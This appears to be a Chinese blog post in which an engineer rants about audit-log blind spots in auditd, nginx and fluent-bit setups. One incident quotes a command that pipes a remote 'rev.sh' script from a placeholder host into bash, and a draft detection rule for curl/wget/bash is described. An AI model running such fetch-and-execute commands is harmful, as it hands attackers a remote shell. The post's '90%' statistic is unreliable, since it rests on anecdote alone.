服务器安全审计:90%漏洞隐身日志盲区
|
跟老板拍桌子那天,空调坏了三台,我衬衫后颈那块汗渍一直洇到第三颗纽扣。他说“审计报告要体现治理能力”,我直接把上周那个被绕过日志的 SSRF 漏洞截图贴他工位玻璃上——不是投屏,是手机翻转了三次才对准反光角度。他看了三秒,说“要不要同步给合规部”。我说不用,合规部上个月刚用同一套审计策略放过一个带 LDAP 注入的 cron 日志伪造,那条日志至今还躺在 /var/log/syslog 里当装饰画。 先扔结论:90%漏洞隐身日志盲区。不是比例虚高,是我近三个月实测的——不是扫描器打分,是手工复现后看 auditd 留没留痕迹、rsyslog 转发过没、ELK 里搜不搜得到关键词、SIEM 规则引擎是否根本没触发。其中八成以上,连日志都压根没生成。剩下两成里,一半是日志字段空、一半是关键上下文被 trunc 了——比如 command 字段只记前六十四个字符,而真正载荷在第 217 位。这个我敢打包票。你要是不信,现在就 ssh 进任意一台没动过 kernel 参数的 CentOS 7,跑一下 journalctl -o json | head -100,自己数数里面有几个 cmd=、几个 cwd=、几个 uid=,数完再看看那个 “audit(1712345678.123:45678):” 后面跟的 type=SYSCALL 的完整字段集里,到底漏了几样。数不完,是因为它根本没写全。 上上周五下午三点十七分,后端老张改完那个 JWT 黑白名单的补丁,顺手勾选了 MR 页面的“合并请求”→ 点了“确认合并”→ 等待页面跳转时刷新了一下浏览器——结果又弹出二次确认框。他骂了句脏话,鼠标悬停在“强制合并”按钮上,但没点,转头去倒水。水杯是透明磨砂款,杯底积着一圈浅黄茶垢。他倒完水回来,发现页面自动跳走了,MR 已合进 main。没人知道那两秒发生了什么,GitLab Webhook 没触发、CI 流水线没启动、审计系统也没抓到 commit hook 的任何 trace。后来查到是 nginx upstream timeout 设成了 5 秒,而合并逻辑卡在 Redis pipeline 阻塞了 5.3 秒。但日志里就一行:“upstream timed out (110: Connection timed out) while reading response header from upstream”。没有 PID,没有调用栈,没有上游地址,连它连的是哪台 Redis 都不写。你说这叫审计?这叫日志遗嘱。 前端小陈昨天拿 Lighthouse 跑了个新页,分数掉到 52,截图直接甩进测试大群。没人回。群里最后一条是 PM 昨天中午十二点四十一分发的钉钉截图:“用户反馈下单页偶发空白,优先级 P0”。没人点开 Lighthouse 报告看那个 “Avoid large layout shifts” 下面嵌套的三层 iframe 堆叠层级,也没人注意到它在 performance observer 里根本没注册 long task callback——因为入口 JS 被 webpack split chunk 后,主包里删掉了那段 polyfill。但这些都不重要。重要的是,这个页面的埋点 SDK 自动上报的所有安全相关事件(包括 CSP violation、Mixed Content warn、fetch failure)全部走的是同一个 UA 字符串伪造的 endpoint,而那个 endpoint 对应的服务日志——没错,就是那种只打 INFO 级别的日志,而且 logrotate 每天切两次,保留七天。所以如果你现在去查三天前一次真实的 XSS payload 执行后的 fetch 请求失败记录……对不起,连 request ID 都没了。只有 nginx access log 里的一行:10.12.34.56 - - [12/Apr/2024:14:23:01 +0800] "GET /collect?e=csp&u=xxx HTTP/1.1" 403 152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."。连 status code 是真 403 还是被 WAF 插入的假响应都分不清。我说不准。 我原以为只要 auditd 配了 -a always,exit -F arch=b64 -S execve -k exec,至少能拦住所有可疑进程拉起。结果上周一上午,有人在测试环境 sudo su – 之后执行了 python3 -c "import os;os.system('curl http://xxx/rev.sh|bash')",auditd 日志里只有一条:type=SYSCALL msg=audit(1712345678.123:45678): arch=c000003e syscall=59 success=yes exit=0 a0=xxxxx a1=xxxxx a2=xxxxx a3=0 items=2 ppid=12345 pid=67890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="python3" exe="/usr/bin/python3.9" key="exec"。你看得见命令吗?看不见。exe 后面那个路径,是 python 解释器,不是 rev.sh。而真正载荷的 curl URL,藏在内存堆里,auditd 根本不 dump。你靠它做溯源?不如看 Docker 宿主机 top 输出里哪个 containerd-shim 的 RSS 突然涨了八百兆。 对面工位的工程师换了一根红色编织线充 MacBook,Type-C 口磨得发亮,插拔声比他敲键盘还勤。桌面右下角开着 OBS,录屏窗口最小化在任务栏,标题栏显示“未命名-1”,底下时间戳是 14:22:03。我瞥过一眼,没关。反正它录的也不是日志——它录的是我们怎么盯着 kibana 里那个永远为空的 `event.severity: "CRITICAL"` 查询结果,一边啃冷掉的肉松小贝,一边等 SRE 重启 fluent-bit。 说到 fluent-bit,上个月 CDN 账单涨了三百七十二 KB。不多,但账单明细里多了一笔“log ingestion fee”,理由是“非结构化日志清洗失败重试”。我们查了半下午,发现是某个 Java 应用吐的日志里,偶然混进了 Unicode 零宽空格(U+200B),fluent-bit 的 parser 一遇到就 panic,重启后丢掉前两分钟所有日志。没人改配置,就让它 retry 了 37 次。但这跟安全审计没关系。这纯粹是账单部门在抠字节,跟我们扣漏洞一样较真。只是他们较真钱,我们较真影子。 优胜劣汰是真的。不是机制优胜劣汰,是人。三个做日志采集的兄弟,去年裁掉两个,剩下一个天天改 grok pattern。另一个组的审计平台负责人,上月升职去管 SOC 了,理由是“具备风险感知穿透力”。他走之前把所有自研 rule 都 export 成 JSON 给了我们,一共二十八个文件。其中二十个规则名里带 _backup,两个带 _deprecated,还有一个叫 final_v3_final_fix_202403。我没敢用。上个月我自己写了三条新规则,第一条抓 execve+argv 包含 curl/wget/bash,第二天就被 SRE 压测说 CPU 占用涨了 0.7%;第二条想匹配日志中连续出现两个 base64 字符串且中间夹着 ‘|’,第三条刚写到正则捕获组嵌套部分,电脑蓝屏了——是那台三年没换过的戴尔 T7910,显卡驱动崩的。现在这三条规则还在我本地 VS Code 的临时草稿页里,文件名是 untitled-3.md。我今天没打算打开它。我要去把 /etc/audit/rules.d/ 目录下的 .rules 全删了,重配一遍 -F perm=x,然后看 auditctl -s 里有没有列出 active rules —— 不是为防住什么,是让下次老板问“日志覆盖率”时,我能指着那行 output 说:有。哪怕它只覆盖了系统调用,不覆盖应用层行为,更不覆盖内存马和 LSASS 注入。
文章配图,仅供参考 对了,PM 刚微信问我下周能不能排期做个“审计日志增强专项”。我没回。手机放桌面上,屏幕朝下。充电线还是那根旧的,USB-A 接口边缘有点翘。 (编辑:站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |


PHP服务器安全审计:90%高危漏洞藏于配置末行
服务器安全审计:90%高危漏洞藏于日志盲区
多媒体服务器安全审计:90%漏洞源于3个被忽视的缓存配置
服务器安全审计:90%漏洞源于3类配置疏漏
索引漏洞正 silently 拖垮你的搜索体验
漏洞修复与索引优化:搜索引擎性能跃升实战
服务器搜索优化:漏洞排查与索引修复实战